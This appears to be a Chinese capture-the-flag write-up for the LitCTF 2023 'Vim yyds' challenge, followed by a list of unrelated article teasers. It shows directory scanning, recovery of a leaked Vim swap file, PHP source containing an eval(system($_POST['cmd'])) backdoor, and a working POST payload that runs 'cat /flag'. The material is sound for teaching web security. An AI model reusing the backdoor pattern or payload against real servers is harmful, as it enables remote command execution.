[LitCTF 2023]Vim yyds

[LitCTF 2023]Vim yyds wp

题目页面如下:

在这里插入图片描述

搜索一番,没有发现任何信息。题目描述中说到了源码泄露,那么先进行目录扫描。

dirsearch 目录扫描

命令:

dirsearch -u "http://node4.anna.nssctf.cn:28588/"

返回结果:

在这里插入图片描述

在结果中发现一个 .index.php.swp 文件。

直接访问该文件将其下载下来。

关于 .swp 文件

.swp 文件一般是 vim 编辑器在编辑文件时产生的,当用 vim 编辑器编辑文件时就会产生,正常退出时 .swp 文件被删除,但是如果直接叉掉(非正常退出),那么 .swp 文件就会被保留。

使用 vim 编辑器恢复 .swp 交换文件

可以参考:VIM学习笔记 交换文件(swap)

自动检索当前目录下的交换文件:
vim -r

在这里插入图片描述

因为该文件中的信息显示原文件是在 /d/CTF/LitCTF/vim/index.php 目录下,为了进行后面的操作,我们先创建一个 /d/CTF/LitCTF/vim/index.php 目录。(或许也有其他的方法)

恢复交换文件
vim -r index.php.swp

按照提示操作后,index.php.swp 文件的内容会被恢复到 /d/CTF/LitCTF/vim/index.php 文件中

这里仅展示 index.php.swp 文件中的 PHP 代码部分:

<?php
error_reporting(0);
$password = "Give_Me_Your_Flag";
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)) {echo "<p>Oh You got my password!</p>";eval(system($_POST['cmd']));
}
?>

payload

很简单,只需要 POST 传参 password 等于字符串 “Give_Me_Your_Flag” base64 加密后的值即可。

password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

拿到 flag :

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/587573.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用docker轻量化部署snmp agent(SNMPv2访问)

文章目录 服务器环境说明单机部署&#xff08;非挂载conf文件版&#xff09;debian:buster-slim容器简介实现步骤创建Dockerfile创建SNMP配置文件 (snmpd.conf)构建Docker镜像运行Docker容器 注意补充复制容器文件到本地容器、镜像操作 单机部署&#xff08;挂载conf文件版&…

vue 生产环境中项目打包bulid 移除 console.log 【babel-plugin-transform-remove-console】

github地址 安装babel-plugin-transform-remove-console 项目打包去除console npm install babel-plugin-transform-remove-console --save-dev 在vue项目中babel.config.js中&#xff1a; module.exports {plugins: ["transform-remove-console",], }如果只想在生…

12.30序列检测(重叠、不重叠、连续、不连续、含无关项)——移位寄存器,状态机;状态机(二段式,三段式)

状态机-重叠序列检测 timescale 1ns/1nsmodule sequence_test2(input wire clk ,input wire rst ,input wire data ,output reg flag ); //*************code***********//parameter S00, S11, S22, S33, S44;reg [2:0] state, nstate;always(posedge clk or negedge rst) b…

如何利用Conda管理多种虚拟环境与Jupyter Notebook内核切换

写在开头 在数据科学与机器学习领域,项目之间可能存在不同的依赖关系和版本要求。为了有效管理这些差异,使用虚拟环境成为一种标准实践。本文将介绍如何利用Conda这一强大的环境管理工具,结合Jupyter Notebook,使得在不同项目之间灵活切换变得轻而易举。 2. Conda简介 2…

CLion Nova:全新的C/C++ IDE

CLion Nova是一款备受期待的集成开发环境&#xff08;IDE&#xff09;&#xff0c;由JetBrains专门为C/C开发者设计。这款IDE提供了许多新的功能和改进&#xff0c;使用 ReSharper C/Rider C 语言引擎而不是 CLion “传统” 引擎&#xff0c;以满足C/C开发者的需求。目前预览版…

网络层解读

基本介绍 概述 当两台主机之间的距离较远(如相隔几十或几百公里&#xff0c;甚至几千公里)时&#xff0c;就需要另一种结构的网络&#xff0c;即广域网。广域网尚无严格的定义。通常是指覆盖范围很广(远超过一个城市的范围)的长距离的单个网络。它由一些结点交换机以及连接这些…

Git 命令拉取分支、忽略已经提交的文件

Git 命令拉取分支的三种方式&#xff1a; git clone -b develop gitgitlab.xxx.com:aaa/app/xxx/xx.git 其中 develop是分支名字先clone master.git到本地&#xff0c; cd 到项目目录&#xff0c;执行git checkout -b dev origin/develop 其中 develop是分支名字先clone maste…

多输入多输出 | MATLAB实现SSA-CNN麻雀算法优化卷积神经网络多输入多输出预测

多输入多输出 | MATLAB实现SSA-CNN麻雀算法优化卷积神经网络多输入多输出预测 目录 多输入多输出 | MATLAB实现SSA-CNN麻雀算法优化卷积神经网络多输入多输出预测预测效果基本介绍模型背景程序设计参考资料 预测效果 基本介绍 MATLAB实现SSA-CNN麻雀算法优化卷积神经网络多输入…

Mastercam各版本安装指南

Mastercam下载链接 https://pan.baidu.com/s/1OldNR0ERqJFrEN24uu3j0Q?pwd0531 1.鼠标右击【Mastercam2024(64bit)】压缩包&#xff08;win11及以上系统需先点击“显示更多选项”&#xff09;【解压到 Mastercam2024(64bit)】。 2.打开解压后的文件夹&#xff0c;鼠标右击【…

Android集成OpenSSL实现加解密-JNI实现

定义JNI方法 companion object{init {System.loadLibrary("jnitest")}}external fun encryptAES(data :ByteArray): ByteArray?external fun decryptAES(data :ByteArray): ByteArray?使用OpenSSL方法实现AES加密和解密 #include "include/openssl/aes.h&qu…

5G阅信助力互联网行业:XX出行-出票通知,案例分析

XX出行日常有大量业务通知短信下发&#xff0c;用户触达频次和用户打开率都比较高&#xff0c;但原短信无法带来附加营销增值&#xff0c;通过阅信增值服务消息将两者结合起来&#xff0c;可实现业务的多渠道引流&#xff0c;开拓了新的渠道和方式。 项目概述&#xff1a; 1. 项…

Github项目推荐-vocal-separate

项目地址 vocal-separate: 项目简述 这是一个音乐和人声分离的项目&#xff0c;基于python开发。有图形化操作界面&#xff0c;看起来还不错。 项目截图

python弹奏《起风了》

代码是很大的! 其实就是python用ctypes调用Win API import ctypes import threading import time winmm = ctypes.windll.winmmclass Scale:Rest = 0C8 = 108B7 = 107A7s = 106A7 = 105G7s = 104G7 = 103F7s = 102F7 = 101E7 = 100D7s = 99D7 = 98C7s = 97C7 = 96B6 = 95A6s…

蓝桥杯python比赛历届真题99道经典练习题 (71-76)

【程序71】 题目:编写input()和output()函数输入,输出5个学生的数据记录。 1.程序分析: 2.程序源代码: 使用list来模拟结构(不使用class) stu = [string,string,list]N = 3 #stu# num : string# name : string# score[4]: list student = [] for i in range(5):stud…

C练习——判断三角形并求面积

题目&#xff1a;从健盘任意输入三角形的三边长为a,b,c,编程判断a,b,c的值能否构成一个三角形&#xff0c;若能构成三角形&#xff0c;则计算并输出三角形的面积&#xff0c;否则提示不能构成三角形。 已知构成三角形的条件是&#xff1a;任意两边之和大于第三边。 解析&#…

React实现抽屉组件

简介 本文将会基于react实现简单的抽屉组件功能&#xff0c;当列表页点击时候&#xff0c;会显示抽屉详情。 Drawer.js 抽屉组件&#xff0c;通过父组件传递isOpen状态来开启或关闭抽屉。 export const Drawer ({isOpen, children}) > {const [visible, setVisible] u…

基于自定义权重的支持向量机,基于自定义权重的SVM

目录 支持向量机SVM的详细原理 SVM的定义 SVM理论 Libsvm工具箱详解 简介 参数说明 易错及常见问题 完整代码和数据下载链接: 基于自定义权重的支持向量机,基于自定义权重的SVM资源-CSDN文库 https://download.csdn.net/download/abc991835105/88637048 SVM应用实例, 基于支…

再见2023,你好2024

再见2023&#xff0c;你好2024 生活1月 悲伤与治愈2~4月 运动与偏爱5月 体验与美食6月 婚礼与热爱7~8月 就医与别离9~11月 陪伴与暖房12月 体验&新生 运动追剧读书总结 生活 生活是一个修罗场&#xff0c;来世间一场&#xff0c;要经历丰腴有趣的人生。去体验各种滋味&…

Android : 使用GestureDetector 进行手势识别—简单应用

示例图&#xff1a; GestureDetector 介绍&#xff1a; GestureDetector 是 Android 开发中用于识别和处理手势的一个类。它允许开发者检测用户在触摸屏上的各种手势&#xff0c;如滑动、长按、双击等。通过使用 GestureDetector&#xff0c;您可以轻松地为应用程序添加手势识…

【Web API系列】使用异步剪贴板API(async clipboard)的图像的编程复制和粘贴

文章目录 前言一、将数据写入剪切板1. WriteText()2. Write()3. 监听复制事件 二、从剪切板读取数据1.readText()2.read()3. 处理粘贴的文件4. 监听读剪切板事件 三、申请权限政策集成 四、功能检测五、处理多个 MIME 类型 前言 访问系统剪贴板的传统方法是通过 document.exec…